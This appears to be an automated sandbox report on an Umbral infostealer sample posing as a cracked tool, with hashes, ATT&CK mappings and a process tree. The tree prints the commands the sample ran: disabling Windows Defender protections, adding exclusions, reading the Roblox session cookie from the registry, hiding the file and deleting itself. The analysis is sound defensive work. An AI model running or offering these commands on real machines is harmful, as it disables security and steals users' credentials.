umbral | 404ccd4c5dae49ea8f38a8bc283e0b488de49b04a45c3f6cfeecc3ac8162c18c

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
15-12-2024 19:08

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General

Target

NINJA HEX CRAKED.exe
Size

254KB
MD5

6a5a18c107110aaa1b251bc168180320
SHA1

4ce77f9a2af47610f8f2a254b49ae33f2958ef08
SHA256

404ccd4c5dae49ea8f38a8bc283e0b488de49b04a45c3f6cfeecc3ac8162c18c
SHA512

d6447e04a21a151d4625b8400a7253e59daa32ae0e027f9b6d478a9139510d7398af0338ed36b0aad7aa1321f239219c5349823d84e4c5d1a55c93b2a02c641f
SSDEEP

6144:04oZo7J39KtWaV+CRB6jIx7axHUPGUphYc3YeRN66hn7DC8ej58bD:DoZA9Kd8jYPGUphYc3YeRN647k5e

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2312-1-0x0000000000060000-0x00000000000A6000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2840	powershell.exe
2696	powershell.exe
1588	powershell.exe
2460	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	NINJA HEX CRAKED.exe

Deletes itself 1 IoCs

pid	Process
2248	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2248	cmd.exe
1944	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2300	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1944	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2312	NINJA HEX CRAKED.exe
2840	powershell.exe
2460	powershell.exe
2696	powershell.exe
628	powershell.exe
1588	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2312	NINJA HEX CRAKED.exe
Token: SeIncreaseQuotaPrivilege	2020	wmic.exe
Token: SeSecurityPrivilege	2020	wmic.exe
Token: SeTakeOwnershipPrivilege	2020	wmic.exe
Token: SeLoadDriverPrivilege	2020	wmic.exe
Token: SeSystemProfilePrivilege	2020	wmic.exe
Token: SeSystemtimePrivilege	2020	wmic.exe
Token: SeProfSingleProcessPrivilege	2020	wmic.exe
Token: SeIncBasePriorityPrivilege	2020	wmic.exe
Token: SeCreatePagefilePrivilege	2020	wmic.exe
Token: SeBackupPrivilege	2020	wmic.exe
Token: SeRestorePrivilege	2020	wmic.exe
Token: SeShutdownPrivilege	2020	wmic.exe
Token: SeDebugPrivilege	2020	wmic.exe
Token: SeSystemEnvironmentPrivilege	2020	wmic.exe
Token: SeRemoteShutdownPrivilege	2020	wmic.exe
Token: SeUndockPrivilege	2020	wmic.exe
Token: SeManageVolumePrivilege	2020	wmic.exe
Token: 33	2020	wmic.exe
Token: 34	2020	wmic.exe
Token: 35	2020	wmic.exe
Token: SeIncreaseQuotaPrivilege	2020	wmic.exe
Token: SeSecurityPrivilege	2020	wmic.exe
Token: SeTakeOwnershipPrivilege	2020	wmic.exe
Token: SeLoadDriverPrivilege	2020	wmic.exe
Token: SeSystemProfilePrivilege	2020	wmic.exe
Token: SeSystemtimePrivilege	2020	wmic.exe
Token: SeProfSingleProcessPrivilege	2020	wmic.exe
Token: SeIncBasePriorityPrivilege	2020	wmic.exe
Token: SeCreatePagefilePrivilege	2020	wmic.exe
Token: SeBackupPrivilege	2020	wmic.exe
Token: SeRestorePrivilege	2020	wmic.exe
Token: SeShutdownPrivilege	2020	wmic.exe
Token: SeDebugPrivilege	2020	wmic.exe
Token: SeSystemEnvironmentPrivilege	2020	wmic.exe
Token: SeRemoteShutdownPrivilege	2020	wmic.exe
Token: SeUndockPrivilege	2020	wmic.exe
Token: SeManageVolumePrivilege	2020	wmic.exe
Token: 33	2020	wmic.exe
Token: 34	2020	wmic.exe
Token: 35	2020	wmic.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	628	powershell.exe
Token: SeIncreaseQuotaPrivilege	1824	wmic.exe
Token: SeSecurityPrivilege	1824	wmic.exe
Token: SeTakeOwnershipPrivilege	1824	wmic.exe
Token: SeLoadDriverPrivilege	1824	wmic.exe
Token: SeSystemProfilePrivilege	1824	wmic.exe
Token: SeSystemtimePrivilege	1824	wmic.exe
Token: SeProfSingleProcessPrivilege	1824	wmic.exe
Token: SeIncBasePriorityPrivilege	1824	wmic.exe
Token: SeCreatePagefilePrivilege	1824	wmic.exe
Token: SeBackupPrivilege	1824	wmic.exe
Token: SeRestorePrivilege	1824	wmic.exe
Token: SeShutdownPrivilege	1824	wmic.exe
Token: SeDebugPrivilege	1824	wmic.exe
Token: SeSystemEnvironmentPrivilege	1824	wmic.exe
Token: SeRemoteShutdownPrivilege	1824	wmic.exe
Token: SeUndockPrivilege	1824	wmic.exe
Token: SeManageVolumePrivilege	1824	wmic.exe
Token: 33	1824	wmic.exe
Token: 34	1824	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2312 wrote to memory of 2020	2312	NINJA HEX CRAKED.exe	31
PID 2312 wrote to memory of 2020	2312	NINJA HEX CRAKED.exe	31
PID 2312 wrote to memory of 2020	2312	NINJA HEX CRAKED.exe	31
PID 2312 wrote to memory of 2508	2312	NINJA HEX CRAKED.exe	34
PID 2312 wrote to memory of 2508	2312	NINJA HEX CRAKED.exe	34
PID 2312 wrote to memory of 2508	2312	NINJA HEX CRAKED.exe	34
PID 2312 wrote to memory of 2840	2312	NINJA HEX CRAKED.exe	36
PID 2312 wrote to memory of 2840	2312	NINJA HEX CRAKED.exe	36
PID 2312 wrote to memory of 2840	2312	NINJA HEX CRAKED.exe	36
PID 2312 wrote to memory of 2460	2312	NINJA HEX CRAKED.exe	38
PID 2312 wrote to memory of 2460	2312	NINJA HEX CRAKED.exe	38
PID 2312 wrote to memory of 2460	2312	NINJA HEX CRAKED.exe	38
PID 2312 wrote to memory of 2696	2312	NINJA HEX CRAKED.exe	40
PID 2312 wrote to memory of 2696	2312	NINJA HEX CRAKED.exe	40
PID 2312 wrote to memory of 2696	2312	NINJA HEX CRAKED.exe	40
PID 2312 wrote to memory of 628	2312	NINJA HEX CRAKED.exe	42
PID 2312 wrote to memory of 628	2312	NINJA HEX CRAKED.exe	42
PID 2312 wrote to memory of 628	2312	NINJA HEX CRAKED.exe	42
PID 2312 wrote to memory of 1824	2312	NINJA HEX CRAKED.exe	44
PID 2312 wrote to memory of 1824	2312	NINJA HEX CRAKED.exe	44
PID 2312 wrote to memory of 1824	2312	NINJA HEX CRAKED.exe	44
PID 2312 wrote to memory of 1960	2312	NINJA HEX CRAKED.exe	46
PID 2312 wrote to memory of 1960	2312	NINJA HEX CRAKED.exe	46
PID 2312 wrote to memory of 1960	2312	NINJA HEX CRAKED.exe	46
PID 2312 wrote to memory of 2708	2312	NINJA HEX CRAKED.exe	48
PID 2312 wrote to memory of 2708	2312	NINJA HEX CRAKED.exe	48
PID 2312 wrote to memory of 2708	2312	NINJA HEX CRAKED.exe	48
PID 2312 wrote to memory of 1588	2312	NINJA HEX CRAKED.exe	50
PID 2312 wrote to memory of 1588	2312	NINJA HEX CRAKED.exe	50
PID 2312 wrote to memory of 1588	2312	NINJA HEX CRAKED.exe	50
PID 2312 wrote to memory of 2300	2312	NINJA HEX CRAKED.exe	52
PID 2312 wrote to memory of 2300	2312	NINJA HEX CRAKED.exe	52
PID 2312 wrote to memory of 2300	2312	NINJA HEX CRAKED.exe	52
PID 2312 wrote to memory of 2248	2312	NINJA HEX CRAKED.exe	54
PID 2312 wrote to memory of 2248	2312	NINJA HEX CRAKED.exe	54
PID 2312 wrote to memory of 2248	2312	NINJA HEX CRAKED.exe	54
PID 2248 wrote to memory of 1944	2248	cmd.exe	56
PID 2248 wrote to memory of 1944	2248	cmd.exe	56
PID 2248 wrote to memory of 1944	2248	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2508	attrib.exe

C:\Users\Admin\AppData\Local\Temp\NINJA HEX CRAKED.exe
"C:\Users\Admin\AppData\Local\Temp\NINJA HEX CRAKED.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2312
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\NINJA HEX CRAKED.exe"
  2⤵
  - Views/modifies file attributes
  PID:2508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\NINJA HEX CRAKED.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:628
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1824
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1960
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1588
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2300
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\NINJA HEX CRAKED.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1944

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:2348

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9d39d5b201f1393283b0091718699e45

SHA1
71c0ef8c0f57d94b3fdb82aaa85a8ade3fa3b382

SHA256
dc9ce668a4cc0040154c39c9921acb0d9e5f23f50acff23de0924217cf060a3e

SHA512
ef68d35187bfb53ae2145759369870b9d80a6ba98f120e88ba878389637808ff7ea4d3f61e4c218f7b20c9b916e0c58c5b51414901b8175ec1b4a361564aaeee

Download Submit
memory/1588-46-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2312-0-0x000007FEF5AB3000-0x000007FEF5AB4000-memory.dmp

Filesize
4KB

Download
memory/2312-1-0x0000000000060000-0x00000000000A6000-memory.dmp

Filesize
280KB

Download
memory/2312-2-0x000007FEF5AB0000-0x000007FEF649C000-memory.dmp

Filesize
9.9MB

Download
memory/2312-51-0x000007FEF5AB0000-0x000007FEF649C000-memory.dmp

Filesize
9.9MB

Download
memory/2460-14-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2460-15-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2840-7-0x000000001B7B0000-0x000000001BA92000-memory.dmp

Filesize
2.9MB

Download
memory/2840-8-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download